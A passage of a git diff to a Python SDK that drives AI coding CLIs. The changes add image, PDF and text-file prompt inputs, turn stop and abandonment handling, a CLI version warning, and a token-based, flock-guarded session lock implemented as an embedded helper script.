kwargs["mcp_servers"] = mcp_servers harness = builder( workspace=workspace_from(handle.workspace), approve=approve, diff --git a/src/ai/harnesses/experimental/_handoff.py b/src/ai/harnesses/experimental/_handoff.py index ad2c168c..8dc984b0 100644 --- a/src/ai/harnesses/experimental/_handoff.py +++ b/src/ai/harnesses/experimental/_handoff.py @@ -23,6 +23,10 @@ hand-written notes passed, genuine Opus thinking was refused. So the Claude renderer omits reasoning, and the adapter warns with the count, because dropping context silently is the one thing this SDK never does. +- files: images go to both, as the image input each takes; PDFs to Claude + as documents. Anything else (a PDF into codex, a text file) is left out + and counted (`unsupported_files`), and the adapter warns, like it does + for reasoning into Claude. """ from __future__ import annotations @@ -30,8 +34,10 @@ import datetime import json import uuid +import warnings from typing import Any +from ...types import media from ...types import messages as messages_ NOTE_PREFIX = "[Handoff from a previous session — earlier reasoning: " @@ -47,6 +53,49 @@ def _note(reasoning: list[str]) -> str: ) +def _image_url(part: messages_.FilePart) -> str: + """Return an http(s) URL as it is, anything else as a data URL.""" + return media.data_to_data_url(part.data, part.media_type) + + +def _source(part: messages_.FilePart) -> dict[str, Any]: + """Return an Anthropic content-block source for a file.""" + if isinstance(part.data, str) and media.is_downloadable_url(part.data): + return {"type": "url", "url": part.data} + return { + "type": "base64", + "media_type": part.media_type, + "data": media.data_to_base64(part.data), + } + + +def warn_unsupported_files( + messages: list[messages_.Message], kind: str +) -> None: + """Say how many files a history held that `kind` was not given.""" + left = unsupported_files(messages, kind) + if left: + warnings.warn( + f"{left} file(s) in the history were not carried into {kind}: " + + "it takes images" + + (" and PDFs" if kind == "claude-code" else "") + + " from a history. Text, tool calls and images were carried.", + stacklevel=3, + ) + + +def unsupported_files(messages: list[messages_.Message], kind: str) -> int: + """Count files a history holds that `kind` cannot take as input.""" + return sum( + 1 + for m in messages + for p in m.parts + if isinstance(p, messages_.FilePart) + and not p.media_type.startswith("image/") + and not (kind == "claude-code" and p.media_type == "application/pdf") + ) + + def to_codex_items(messages: list[messages_.Message]) -> list[dict[str, Any]]: """Responses API items for `thread/inject_items`.""" items: list[dict[str, Any]] = [] @@ -62,6 +111,20 @@ def to_codex_items(messages: list[messages_.Message]) -> list[dict[str, Any]]: "content": [{"type": ctype, "text": p.text}], } ) + elif ( + isinstance(p, messages_.FilePart) + and m.role == "user" + and p.media_type.startswith("image/") + ): + items.append( + { + "type": "message", + "role": "user", + "content": [ + {"type": "input_image", "image_url": _image_url(p)} + ], + } + ) elif isinstance(p, messages_.ToolCallPart): items.append( { @@ -143,6 +206,11 @@ def add(role: str, content: Any) -> None: for p in m.parts: if isinstance(p, messages_.TextPart) and p.text.strip(): blocks.append({"type": "text", "text": p.text}) + elif isinstance(p, messages_.FilePart) and m.role == "user": + if p.media_type.startswith("image/"): + blocks.append({"type": "image", "source": _source(p)}) + elif p.media_type == "application/pdf": + blocks.append({"type": "document", "source": _source(p)}) elif isinstance(p, messages_.ToolCallPart): try: args = json.loads(p.tool_args) if p.tool_args else {} diff --git a/src/ai/harnesses/experimental/_harness.py b/src/ai/harnesses/experimental/_harness.py index 558d64ce..8b64ca1b 100644 --- a/src/ai/harnesses/experimental/_harness.py +++ b/src/ai/harnesses/experimental/_harness.py @@ -3,9 +3,11 @@ from __future__ import annotations import contextlib +import re +import warnings from typing import TYPE_CHECKING, Any, Self, TypeVar -from . import _capabilities, _result, _session +from . import _capabilities, _input, _result, _session from . import errors as errors_ if TYPE_CHECKING: @@ -38,7 +40,8 @@ def __init__( self.approval_timeout = approval_timeout self.options = dict(options or {}) self._open = False - self._approval_errors: list[str] = [] + # Approval-hook failures, per session: each turn reports its own. + self._approval_errors: dict[str, list[str]] = {} # Adapters do not keep their own transcript: they borrow the # session's, so the approval hook and the caller see one history. self._sessions: dict[str, Any] = {} @@ -94,6 +97,25 @@ async def open(self) -> None: await self._unwind() raise self._open = True + self._check_version() + + def _check_version(self) -> None: + """Warn when the CLI is older than the one this SDK was measured on. + + The adapters lean on CLI behaviour that is measured, not documented + (dialogs, session records, lock files); an older CLI may lack it. A + newer one is not warned about: the version rides on every harness + error instead, which is where it is needed. + """ + verified = getattr(self.adapter, "verified_version", None) + have, want = _version(self.version), _version(verified) + if have is not None and want is not None and have < want: + warnings.warn( + f"{self.name} {self.version} is older than {verified}, the " + + "version this SDK was verified with; update it if " + + "something misbehaves", + stacklevel=3, + ) async def _unwind(self) -> None: with contextlib.suppress(Exception): @@ -150,7 +172,7 @@ def session( async def run( self, - prompt: str, + prompt: _input.Prompt, *, history: list[messages.Message] | None = None, output_type: type[T] | None = None, @@ -325,17 +347,26 @@ def _require(self, capability: str) -> None: def _register(self, session: Any) -> None: self._sessions[session.session_id] = session + def _forget(self, session_id: str) -> None: + self._sessions.pop(session_id, None) + self._approval_errors.pop(session_id, None) + def _history_of(self, session_id: str) -> list[Any]: session = self._sessions.get(session_id) return session.messages if session is not None else [] - def _record_approval_error(self, detail: str) -> None: - self._approval_errors.append(detail) + def _record_approval_error(self, session_id: str, detail: str) -> None: + self._approval_errors.setdefault(session_id, []).append(detail) - def _take_approval_errors(self) -> list[str]: - errors, self._approval_errors = self._approval_errors, [] - return errors + def _take_approval_errors(self, session_id: str) -> list[str]: + return self._approval_errors.pop(session_id, []) def __repr__(self) -> str: state = "open" if self._open else "closed" return f"" + + +def _version(text: str | None) -> tuple[int, ...] | None: + """Return the first dotted version number in `text`, as a tuple.""" + found = re.search(r"\d+(?:\.\d+)+", text or "") + return tuple(int(n) for n in found.group(0).split(".")) if found else None diff --git a/src/ai/harnesses/experimental/_input.py b/src/ai/harnesses/experimental/_input.py new file mode 100644 index 00000000..e1a66975 --- /dev/null +++ b/src/ai/harnesses/experimental/_input.py @@ -0,0 +1,95 @@ +"""What a turn's prompt may hold: text, and the files a harness can take. + +A prompt is a string, or a list of strings and `ai` parts — `TextPart` and +`FilePart` — the same parts a user message holds anywhere in `ai`: + + await session.run(["What is wrong in this screenshot?", ai.file_part(png)]) + +Which files a harness takes is declared in its capabilities and checked +here, before anything runs: images on every harness (`images`), PDFs where +`documents` is set, and text files (`text/*`) everywhere — those travel as +text. Anything else raises `UnsupportedError`. + +Files are turned into bytes HERE, on the machine running this SDK: a URL is +downloaded with the SDK's own SSRF-checked downloader, not handed to the +CLI. A CLI in a sandbox has its egress locked down and could not fetch it, +and measured: Claude Code drops an image given by URL without a word. +""" + +from __future__ import annotations + +import base64 +from collections.abc import Sequence +from typing import TYPE_CHECKING + +from ...models.core.helpers import files +from ...types import media +from ...types import messages as messages_ +from . import errors + +if TYPE_CHECKING: + from . import _capabilities + +Part = messages_.TextPart | messages_.FilePart +Prompt = str | Sequence[str | messages_.TextPart | messages_.FilePart] + + +def parts(prompt: Prompt) -> list[Part]: + """Normalize a prompt into parts: bare strings become `TextPart`s.""" + if isinstance(prompt, str): + return [messages_.TextPart(text=prompt)] + out: list[Part] = [] + for item in prompt: + if isinstance(item, str): + out.append(messages_.TextPart(text=item)) + elif isinstance(item, messages_.TextPart | messages_.FilePart): + out.append(item) + else: + raise TypeError( + "a prompt holds strings, TextPart and FilePart; got " + + type(item).__name__ + ) + if not out: + raise ValueError("a prompt needs at least one part") + return out + + +def check( + prompt: list[Part], capabilities: _capabilities.Capabilities, harness: str +) -> None: + """Raise UnsupportedError for a file this harness cannot take.""" + for part in prompt: + if not isinstance(part, messages_.FilePart): + continue + kind = part.media_type + if kind.startswith("text/"): + continue + if kind.startswith("image/") and capabilities.images: + continue + if kind == "application/pdf" and capabilities.documents: + continue + raise errors.UnsupportedError(harness, f"{kind} input") + + +def text(prompt: list[Part]) -> str: + """Return the prompt's text, files left out: what `prompt_sent` shows.""" + return "\n\n".join( + p.text for p in prompt if isinstance(p, messages_.TextPart) + ) + + +async def data(part: messages_.FilePart) -> bytes: + """Return a file's bytes, downloading a URL here (see the module doc).""" + if isinstance(part.data, bytes): + return part.data + if media.is_downloadable_url(part.data): + body, _ = await files.download(part.data) + return body + return base64.b64decode(media.data_to_base64(part.data)) + + +async def as_text(part: messages_.FilePart) -> str: + """Return a text file as text a CLI can read inline, named if it has one.""" + body = (await data(part)).decode("utf-8", errors="replace") + name = part.filename or "attached file" + return f"\n{body}\n" diff --git a/src/ai/harnesses/experimental/_session.py b/src/ai/harnesses/experimental/_session.py index bb821a7c..f9a58ac6 100644 --- a/src/ai/harnesses/experimental/_session.py +++ b/src/ai/harnesses/experimental/_session.py @@ -9,6 +9,7 @@ from __future__ import annotations import asyncio +import contextlib from typing import TYPE_CHECKING, Any, TypeVar from pydantic import BaseModel @@ -16,7 +17,7 @@ from ...types import events from ...types import messages as messages_ from ...types import usage as usage_ -from . import _handle, _result, errors +from . import _handle, _input, _result, errors from . import _structured as _structured_ if TYPE_CHECKING: @@ -55,16 +56,30 @@ class SessionInfo(BaseModel): """The process that has it open, in the workspace, when known.""" +STOP_TIMEOUT = 30.0 +"""Seconds `stop()` waits for an interrupted turn to settle before it returns +anyway. A turn whose CLI ignores the interrupt is the CLI's problem; the +caller of `stop()` must not hang on it.""" + + class Turn: """A settling turn: iterate it for events, then read `result`.""" - def __init__(self, session: Session, prompt: str, sent: str) -> None: + def __init__( + self, session: Session, prompt: list[_input.Part], sent: str + ) -> None: self._session = session self._prompt = prompt self._sent = sent self._result: _result.Result | None = None self._consumed = False self._inner: Any = None + # Set once `_drive` has settled the turn, whichever task settled it. + self._done = asyncio.Event() + # The one close of `_inner`, shared by everyone who asks for it: + # closing an async generator while another close of it is still + # running raises, so a second caller waits on the first. + self._closer: asyncio.Future[None] | None = None @property def result(self) -> _result.Result: @@ -84,20 +99,48 @@ async def __aiter__(self) -> AsyncIterator[events.AgentEvent]: return self._consumed = True self._inner = self._session._drive(self) - async for event in self._inner: - yield event + try: + async for event in self._inner: + yield event + finally: + # Reached on `break` too: Python closes this generator once the + # loop that dropped it is gone, and that close is what ends a + # turn nobody is reading, rather than leaving the agent working + # until some later turn notices. + await self._finish(wait=False) async def aclose(self) -> None: """Close the stream and settle now. - Cancelling a consumer does NOT run an async generator's `finally` - promptly — cleanup waits for close or garbage collection — so a - deadline must close the turn explicitly or it would settle with - nothing and lose everything the harness already streamed. + A turn waiting at an event is closed on the spot. A turn another + task is reading right now cannot be closed from here, so this waits + for it to settle instead. """ - if self._inner is not None: - await self._inner.aclose() - self._inner = None + await self._finish(wait=True) + + async def _finish( + self, *, wait: bool, timeout: float | None = None + ) -> None: + """Settle the turn: close it if it is paused, else maybe wait. + + An async generator can only be closed while it is suspended at a + `yield`. While a consumer is awaiting its next event it is RUNNING, + and closing it raises — so then the adapter must end the turn (after + `adapter.stop()`, it does) and this waits for that, up to `timeout`. + """ + inner = self._inner + if inner is None or self._done.is_set(): + return + if self._closer is None and not inner.ag_running: + self._closer = asyncio.ensure_future(inner.aclose()) + if self._closer is not None: + await asyncio.shield(self._closer) + return + if not wait: + return + with contextlib.suppress(TimeoutError): + async with asyncio.timeout(timeout): + await self._done.wait() class Tui: @@ -170,6 +213,13 @@ def __init__( self._lock = asyncio.Lock() self._active: Turn | None = None self._stopped = False + # The agent has ended the running turn (its StreamEnd arrived), even + # if the consumer has not read to the end yet. + self._ended = False + # The assistant message the running turn is writing into, and the + # hydrator that builds it; see `_drive`. + self._segment = messages_.Message(role="assistant", parts=[]) + self._hydrator = events.MessageHydrator() @property def session_id(self) -> str: @@ -194,68 +244,79 @@ def handle(self) -> _handle.Handle: async def run( self, - prompt: str, + prompt: _input.Prompt, *, output_type: type[T] | None = None, retries: int = 1, timeout: float | None = None, ) -> _result.Result: - """Send a prompt and wait for the turn to settle.""" + """Send a prompt and wait for the turn to settle. + + `prompt` is a string, or a list of strings, `TextPart`s and + `FilePart`s (images; PDFs where `capabilities.documents`; text files). + """ if output_type is None: return await self._once(prompt, timeout=timeout) return await self._structured(prompt, output_type, retries, timeout) - def stream(self, prompt: str) -> Turn: - """Send a prompt and iterate its events. Read `.result` after.""" - return Turn(self, prompt, prompt) + def stream(self, prompt: _input.Prompt) -> Turn: + """Send a prompt and iterate its events. Read `.result` after. + + A file the harness cannot take raises `UnsupportedError` here, + before anything runs. + """ + parts = _input.parts(prompt) + _input.check(parts, self._harness.capabilities, self._harness.name) + return Turn(self, parts, _input.text(parts)) async def reclaim(self) -> None: - """Public form of `_reclaim`, for callers driving turns by hand.""" + """Settle a turn whose consumer walked away. Rarely needed by hand. + + `run()` and `stream()` already do this before starting a turn. + """ await self._reclaim() async def _reclaim(self) -> None: """Settle a turn whose consumer walked away. `async for event in turn: break` is ordinary Python, and it must not - strand the session. Closing the abandoned stream runs its cleanup, - settles it, and frees the lock for the next turn. + strand the session or leave the agent working. Closing the abandoned + stream runs `_drive`'s cleanup: it stops the agent, settles the + turn, and frees the lock for the next one. A turn another task is + reading right now is left alone; the lock makes the next turn wait. """ turn = self._active if turn is not None and not turn.settled: - await turn.aclose() + await turn._finish(wait=False) async def _once( - self, prompt: str, *, timeout: float | None = None + self, prompt: _input.Prompt, *, timeout: float | None = None ) -> _result.Result: - await self._ensure() - await self._reclaim() - turn = Turn(self, prompt, prompt) + turn = self.stream(prompt) if timeout is None: async for _ in turn: pass return turn.result - # A deadline is a settlement, not an exception: stop the agent - # gracefully and keep whatever it produced. + # A deadline is a settlement, not an exception: the turn is + # cancelled where it stands, `_drive` stops the agent, and whatever + # it produced is kept. try: async with asyncio.timeout(timeout): async for _ in turn: pass except TimeoutError: - await self._harness.adapter.stop(self._session_id) - self._stopped = True - await turn.aclose() if not turn.settled: return _result.Result( finish_reason="cancelled", messages=self.messages, - prompt_sent=prompt, + prompt_sent=turn._sent, ) return turn.result.model_copy(update={"finish_reason": "cancelled"}) return turn.result async def _structured( self, - prompt: str, + prompt: _input.Prompt, output_type: type[T], retries: int, timeout: float | None, @@ -266,8 +327,22 @@ async def _structured( it only ever calls `_once`, so the settling path knows nothing about schemas. """ - sent = _structured_.annotate(prompt, output_type) - result = await self._once(sent, timeout=timeout) + # The schema goes into the prompt's text: onto its last text part, + # so a plain string prompt reads exactly as before. + parts = _input.parts(prompt) + last = parts[-1] + if isinstance(last, messages_.TextPart): + parts[-1] = messages_.TextPart( + text=_structured_.annotate(last.text, output_type) + ) + else: + parts.append( + messages_.TextPart( + text=_structured_.annotate("", output_type).lstrip() + ) + ) + sent = _input.text(parts) + result = await self._once(parts, timeout=timeout) result.prompt_sent = sent for attempt in range(retries + 1): parsed, error = _structured_.parse(result.text, output_type) @@ -302,10 +377,14 @@ async def _drive(self, turn: Turn) -> AsyncIterator[events.AgentEvent]: wedged the session forever. `_reclaim()` closes such a turn. """ await self._ensure() + # A turn nobody is reading any more is ended before this one starts. + await self._reclaim() await self._lock.acquire() self._active = turn self._stopped = False + self._ended = False settled: events.StreamEnd | None = None + abandoned = False # The AI SDK reconstructs messages from the event stream, so a turn # abandoned mid-flight still carries whatever arrived — that is what # makes an interruption a settlement rather than a loss. @@ -313,31 +392,29 @@ async def _drive(self, turn: Turn) -> AsyncIterator[events.AgentEvent]: # History is the SESSION's, single-sourced: the prompt is a real # message in the transcript before the agent ever sees it. self._messages.append( - messages_.Message( - role="user", parts=[messages_.TextPart(text=turn._prompt)] - ) + messages_.Message(role="user", parts=list(turn._prompt)) ) - # Message identity is decided HERE, not by adapters. The hydrator - # needs an id to know where a message ends: after a tool result it - # switches to that role="tool" message, and an identity-less text - # event that follows is glued onto it — then a StreamEnd carrying - # some other id gets written onto the same object, which is already - # in history. So every model event is stamped with the current - # assistant segment, and a tool result starts a new segment, exactly - # as the AI SDK's own agent loop does. The adapter's own StreamEnd - # is kept as `raw` for settlement; only the streamed copy is - # re-identified. - segment = messages_.Message(role="assistant", parts=[]) + start = len(self._messages) + # Message identity is decided HERE, not by adapters. Every model + # event is stamped with the current assistant SEGMENT, and a tool + # result (or a steer) starts a new one, exactly as the AI SDK's own + # agent loop does. A segment joins the history the moment it has + # content, so history always reads in the order things happened — + # call, result, answer — mid-turn included, which is what an + # approval hook sees. The adapter's own StreamEnd is kept as `raw` + # for settlement; only the streamed copy is re-identified. + self._segment = messages_.Message(role="assistant", parts=[]) + self._hydrator = hydrator + appended: set[str] = set() + inner = self._harness.adapter.turn(self._session_id, turn._prompt) try: - async for raw in self._harness.adapter.turn( - self._session_id, turn._prompt - ): + async for raw in inner: fed = raw if isinstance(raw, events.ModelEvent): fed = raw.model_copy( update={ "message": messages_.Message( - id=segment.id, role="assistant", parts=[] + id=self._segment.id, role="assistant", parts=[] ) } ) @@ -346,52 +423,94 @@ async def _drive(self, turn: Turn) -> AsyncIterator[events.AgentEvent]: # assistant message, and whose `ToolEnd.tool_call` is the # complete call. That copy is what the AI SDK's contract # says a consumer receives — every event carries the - # message so far. Discarding it, as this loop once did, - # handed out events whose `.message` was an empty - # placeholder until StreamEnd. + # message so far. event = hydrator.feed(fed) if isinstance(raw, events.StreamEnd): - # Settle on the adapter's own final message: it carries - # provider metadata the reconstruction does not. + # Settle on the adapter's own final message: it decides + # what the answer is (codex leaves its preamble out). settled = raw + self._ended = True elif isinstance(raw, events.ToolCallResult): - # Tool results are their own messages; they land in - # history as they arrive, not at settle. + # Tool results are their own messages, after the call. self._messages.append(raw.message) - segment = messages_.Message(role="assistant", parts=[]) + self._segment = messages_.Message( + role="assistant", parts=[] + ) + else: + self._join_segment(appended) yield event - finally: - self._active = None - approval_errors = self._harness._take_approval_errors() - turn._result = self._settle( - settled, hydrator, turn, approval_errors + except (GeneratorExit, asyncio.CancelledError): + abandoned = True + raise + except errors.HarnessError as exc: + # Which CLI failed matters most when it is a newer one than the + # SDK was verified with: say so on every failure. + exc.add_note( + f"{self._harness.name} version: " + + f"{self._harness.version or 'unknown'}" ) - self._lock.release() + raise + finally: + try: + if abandoned and settled is None and not self._stopped: + # Nobody reads this turn any more — a `break`, a + # deadline, a cancelled task — but the agent is still + # working on it. End it there too, or its leftovers + # would become the next turn's answer. + self._stopped = True + with contextlib.suppress(Exception): + await self._harness.adapter.stop(self._session_id) + # Close the adapter's turn too: walking away from it is not + # enough to run its cleanup. + aclose = getattr(inner, "aclose", None) + if aclose is not None: + with contextlib.suppress(Exception): + await aclose() + finally: + self._active = None + approval_errors = self._harness._take_approval_errors( + self._session_id + ) + turn._result = self._settle( + settled, start, turn, approval_errors + ) + turn._done.set() + self._lock.release() + + def _join_segment(self, appended: set[str]) -> None: + """Put the current assistant segment in history once it has content.""" + segment = self._hydrator.messages_by_id.get(self._segment.id) + if segment is not None and segment.parts and segment.id not in appended: + appended.add(segment.id) + self._messages.append(segment) def _settle( self, end: events.StreamEnd | None, - hydrator: events.MessageHydrator, + start: int, turn: Turn, approval_errors: list[str], ) -> _result.Result: - # Whatever the harness finished with, or whatever the stream got to - # before it was interrupted. An interrupted turn may span several - # assistant segments (one per tool round); keep all of them. + # History already holds every segment that streamed, in order. The + # answer is the adapter's own final message when it sent one; else + # whatever the stream got to, across all of this turn's segments. + mine = [m for m in self._messages[start:] if m.role == "assistant"] + if end is not None and end.message.parts and not mine: + # A turn whose content never streamed: the final message is all + # there is. + self._messages.append(end.message) + mine = [end.message] + elif end is not None and mine and end.message.provider_metadata: + mine[-1].provider_metadata = end.message.provider_metadata if end is not None: - message: messages_.Message | None = end.message + text = _text_of(end.message) else: - parts = [ - part - for m in hydrator.messages - if m.role == "assistant" - for part in m.parts - ] - message = messages_.Message(role="assistant", parts=parts) - if message is not None and not message.parts: - message = None - if message is not None: - self._messages.append(message) + text = _text_of( + messages_.Message( + role="assistant", + parts=[part for m in mine for part in m.parts], + ) + ) # A stopped turn is cancelled regardless of what the harness called # it: we are the ones who interrupted it. finish = ( @@ -401,7 +520,7 @@ def _settle( ) return _result.Result( finish_reason=finish or "stop", - text=_text_of(message), + text=text, messages=self.messages, usage=( end.usage if end is not None and end.usage else usage_.Usage() @@ -416,34 +535,42 @@ async def steer(self, text: str) -> None: """Inject guidance into the turn that is running right now.""" if not self._harness.capabilities.steer: raise errors.UnsupportedError(self._harness.name, "steer") - if self._active is None: + if self._active is None or self._ended: + # Ended means ended: a message sent now is not guidance for this + # turn but the start of another one nobody is reading. raise RuntimeError("no active turn to steer") await self._harness.adapter.steer(self._session_id, text) # A steering message is a real user message. If it only existed on # the wire, the transcript would not explain why the agent changed - # course. + # course. What the agent says after it is a new assistant message. self._messages.append( messages_.Message( role="user", parts=[messages_.TextPart(text=text)] ) ) + self._segment = messages_.Message(role="assistant", parts=[]) async def stop(self) -> None: - """Interrupt gracefully. + """Interrupt gracefully, from anywhere: the loop body, another task. - The turn settles as cancelled; the harness keeps its transcript and the - conversation stays resumable. + The turn settles as cancelled; the harness keeps its transcript and + the conversation stays resumable. Returns once the turn has settled, + so `turn.result` is readable right after — or after `STOP_TIMEOUT` + seconds if the agent ignores the interrupt. No turn running: nothing + to do. """ if not self._harness.capabilities.stop: raise errors.UnsupportedError(self._harness.name, "stop") + turn = self._active + if turn is None or turn.settled: + return self._stopped = True await self._harness.adapter.stop(self._session_id) - # Stopping means the turn is over: settle it now so `turn.result` is - # readable and the session is immediately usable again. - await self._reclaim() + await turn._finish(wait=True, timeout=STOP_TIMEOUT) async def close(self) -> None: await self._harness.adapter.close_session(self._session_id) + self._harness._forget(self._session_id) def _seed(self, messages: list[messages_.Message]) -> None: """Install a replayed transcript as this session's past.""" diff --git a/src/ai/harnesses/experimental/_session_lock.py b/src/ai/harnesses/experimental/_session_lock.py index 102e5b32..f18e7615 100644 --- a/src/ai/harnesses/experimental/_session_lock.py +++ b/src/ai/harnesses/experimental/_session_lock.py @@ -2,26 +2,36 @@ Codex refuses a second writer on a live thread itself. Claude does not, so two clients can silently write one transcript. This lock gives every -harness codex's behaviour, using nothing but the workspace's own primitives -— a harness acquires it for the conversations it opens, and a returning -client that finds it held gets `SessionBusyError` instead of a corrupted -transcript. +harness codex's behaviour, using nothing but the workspace — a harness +acquires it for the conversations it opens, and a returning client that +finds it held gets `SessionBusyError` instead of a corrupted transcript. Layout, per harness kind, under the workspace machine's HOME: ~/.ai-python/locks///holder.json + ~/.ai-python/locks//.mutex -A lock is a DIRECTORY because `mkdir` is atomic on every POSIX filesystem: -two clients racing for the same conversation cannot both succeed. The -holder file records the pid that owns it, so a lock whose process is gone -is recognised as stale and reclaimed rather than blocking forever. A lock -recorded before its process existed (the pid is filled in after launch) is -trusted only briefly: past `STALE_AFTER` it is a launch that never finished. +Every operation is ONE command in the workspace: a small stdlib Python +helper (`HELPER`) that does the whole check-and-set there, so a sandbox +costs one round trip per operation, not one per file. Correctness rests on +three things the helper does: -Everything here goes through the workspace's own primitives — `home()`, -`write_text`, `read_text`, `exists` — and falls back to a plain argv `exec` -only for what has no primitive: an exclusive `mkdir` (the atomic step), -removal, listing, and a process-liveness probe. Never a shell string. +- **A mutex for the check-and-set.** Acquire, reclaim, claim and release + run under an exclusive `flock` on `.mutex`, held only for the duration of + that one command. Two clients judging the same stale lock can no longer + both delete it and both take it: the second one in finds the first one's + fresh, live lock and is told busy. +- **A lock never exists without its record.** It is built in a temp dir and + renamed into place, so a reader never sees a directory with no holder in + it and mistakes a launch in progress for an abandoned one. +- **A token per holder.** Only the client that took a lock may fill in its + pid or release it; anyone else's release is a no-op. + +A holder is live while its pid exists — a process we may not signal still +exists — and is the process that was recorded (same start time, so a pid +the OS reused for a later process holds nothing). A holder recorded before +its process existed (the pid is filled in after launch) is trusted only +briefly: past `STALE_AFTER` it is a launch that never finished. The harness that acquires a lock keeps it across `detach()` — the process is still running and still the writer — and releases it on `close()`, once @@ -31,9 +41,9 @@ from __future__ import annotations import json -import time +import uuid from dataclasses import dataclass -from typing import TYPE_CHECKING +from typing import TYPE_CHECKING, Any from . import errors @@ -43,7 +53,128 @@ STALE_AFTER = 120.0 """Seconds a pid-less lock is honoured before it counts as abandoned.""" -_LIVENESS = "import os, sys\nos.kill(int(sys.argv[1]), 0)\n" +HELPER = r""" +import fcntl, json, os, shutil, subprocess, sys, time + +op, root, args = sys.argv[1], sys.argv[2], json.loads(sys.argv[3]) +STALE = float(args.get("stale_after", 120)) + + +def started(pid): + try: + out = subprocess.run( + ["ps", "-o", "lstart=", "-p", str(pid)], + capture_output=True, text=True, timeout=10, + env={**os.environ, "TZ": "UTC", "LC_ALL": "C"}, + ) + except Exception: + return None + return out.stdout.strip() or None + + +def alive(rec): + pid = rec.get("pid") + if not isinstance(pid, int): + return time.time() - (rec.get("since") or 0) < STALE + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + pass # it exists; it is just not ours to signal + except OSError: + return False + want = rec.get("started") + if want: + now = started(pid) + if now is not None and now != want: + return False # the pid now names a later process + return True + + +def read(sid): + d = os.path.join(root, sid) + try: + with open(os.path.join(d, "holder.json")) as f: + rec = json.load(f) + return rec if isinstance(rec, dict) else {"pid": None, "since": 0} + except FileNotFoundError: + return {"pid": None, "since": 0} if os.path.isdir(d) else None + except ValueError: + return {"pid": None, "since": 0} + + +def record(pid, client, token, since=None): + return { + "pid": pid, + "started": started(pid) if isinstance(pid, int) else None, + "since": since or int(time.time()), + "client": client, + "token": token, + } + + +def write(path, rec): + tmp = path + ".tmp" + with open(tmp, "w") as f: + json.dump(rec, f) + os.replace(tmp, path) + + +def live(sid): + rec = read(sid) + return rec if rec is not None and alive(rec) else None + + +os.makedirs(root, exist_ok=True) +out = None +if op == "holders": + out = {} + for sid in os.listdir(root): + if not sid.startswith("."): + rec = live(sid) + if rec is not None: + out[sid] = rec.get("pid") +elif op == "holder": + out = live(args["sid"]) +else: + with open(os.path.join(root, ".mutex"), "a") as mutex: + fcntl.flock(mutex, fcntl.LOCK_EX) + sid, token = args["sid"], args["token"] + d = os.path.join(root, sid) + rec = read(sid) + if op == "acquire": + if rec is not None and alive(rec): + out = {"busy": True, "pid": rec.get("pid")} + else: + if rec is not None: + shutil.rmtree(d, ignore_errors=True) + tmp = os.path.join(root, "." + sid + "." + token) + os.makedirs(tmp, exist_ok=True) + write( + os.path.join(tmp, "holder.json"), + record(args.get("pid"), args.get("client", ""), token), + ) + os.rename(tmp, d) + out = {"busy": False} + elif op == "claim": + if rec is not None and rec.get("token") == token: + write( + os.path.join(d, "holder.json"), + record( + args["pid"], args.get("client", ""), token, + since=rec.get("since"), + ), + ) + out = True + else: + out = False + elif op == "release": + out = rec is not None and rec.get("token") == token + if out: + shutil.rmtree(d, ignore_errors=True) +print(json.dumps(out)) +""" @dataclass(frozen=True) @@ -61,6 +192,9 @@ def __init__(self, workspace: _base.Workspace, kind: str) -> None: self._workspace = workspace self._kind = kind self._root: str | None = None + # The token of every lock THIS client took: what lets it, and only + # it, fill in the pid and release. + self._tokens: dict[str, str] = {} async def root(self) -> str: if self._root is None: @@ -74,102 +208,70 @@ async def acquire( """Take the lock, or raise SessionBusyError naming the live holder. A stale lock — its pid gone, or pid-less and older than STALE_AFTER - — is reclaimed. Two clients reclaiming at once still cannot both - win: the second `mkdir` fails and that client is told busy. + — is reclaimed. """ - directory = f"{await self.root()}/{session_id}" - await self._workspace.exec( - ["mkdir", "-p", await self.root()], timeout=30 + token = uuid.uuid4().hex + out = await self._run( + "acquire", + sid=session_id, + token=token, + pid=pid, + client=client, + stale_after=STALE_AFTER, ) - if await self._mkdir(directory): - await self._record(directory, pid, client) - return - holder = await self._read(session_id, directory) - if holder is not None and await self._live(holder): - raise errors.SessionBusyError(session_id, holder.pid) - await self._workspace.exec(["rm", "-rf", directory], timeout=30) - if not await self._mkdir(directory): - raise errors.SessionBusyError( - session_id, None, "contested while reclaiming a stale lock" - ) - await self._record(directory, pid, client) + if out.get("busy"): + raise errors.SessionBusyError(session_id, out.get("pid")) + self._tokens[session_id] = token async def claim_pid( self, session_id: str, pid: int | None, client: str = "" ) -> None: - """Fill in the pid once the process exists.""" - if pid is None: + """Fill in the pid once the process exists. Only on our own lock.""" + token = self._tokens.get(session_id) + if pid is None or token is None: return - await self._record(f"{await self.root()}/{session_id}", pid, client) + await self._run( + "claim", sid=session_id, token=token, pid=pid, client=client + ) async def release(self, session_id: str) -> None: - await self._workspace.exec( - ["rm", "-rf", f"{await self.root()}/{session_id}"], timeout=30 - ) + """Release a lock this client took; anyone else's is left alone.""" + token = self._tokens.pop(session_id, None) + if token is None: + return + await self._run("release", sid=session_id, token=token) async def holder(self, session_id: str) -> Holder | None: """Return the live holder of a conversation, or None when it is free.""" - holder = await self._read( - session_id, f"{await self.root()}/{session_id}" - ) - if holder is None or not await self._live(holder): + rec = await self._run("holder", sid=session_id, stale_after=STALE_AFTER) + if not isinstance(rec, dict): return None - return holder - - async def holders(self) -> dict[str, int | None]: - """Every conversation with a live holder, and its pid, in one pass.""" - root = await self.root() - listing = await self._workspace.exec(["ls", root], timeout=30) - live: dict[str, int | None] = {} - for session_id in ( - listing.stdout.split() if listing.exit_code == 0 else [] - ): - holder = await self.holder(session_id) - if holder is not None: - live[session_id] = holder.pid - return live - - # -- plumbing --------------------------------------------------------- - - async def _mkdir(self, directory: str) -> bool: - return ( - await self._workspace.exec(["mkdir", directory], timeout=30) - ).exit_code == 0 - - async def _record( - self, directory: str, pid: int | None, client: str - ) -> None: - info = json.dumps( - {"pid": pid, "since": int(time.time()), "client": client} - ) - await self._workspace.write_text(f"{directory}/holder.json", info) - - async def _read(self, session_id: str, directory: str) -> Holder | None: - try: - raw = json.loads( - await self._workspace.read_text(f"{directory}/holder.json") - ) - except (FileNotFoundError, ValueError): - if await self._exists(directory): - # A directory without a record: a launch that died between - # mkdir and the write. Nothing can own it. - return Holder(session_id, None, 0, "") - return None - pid = raw.get("pid") + pid = rec.get("pid") return Holder( session_id, - int(pid) if isinstance(pid, int) else None, - int(raw.get("since") or 0), - str(raw.get("client") or ""), + pid if isinstance(pid, int) else None, + int(rec.get("since") or 0), + str(rec.get("client") or ""), ) - async def _exists(self, directory: str) -> bool: - return await 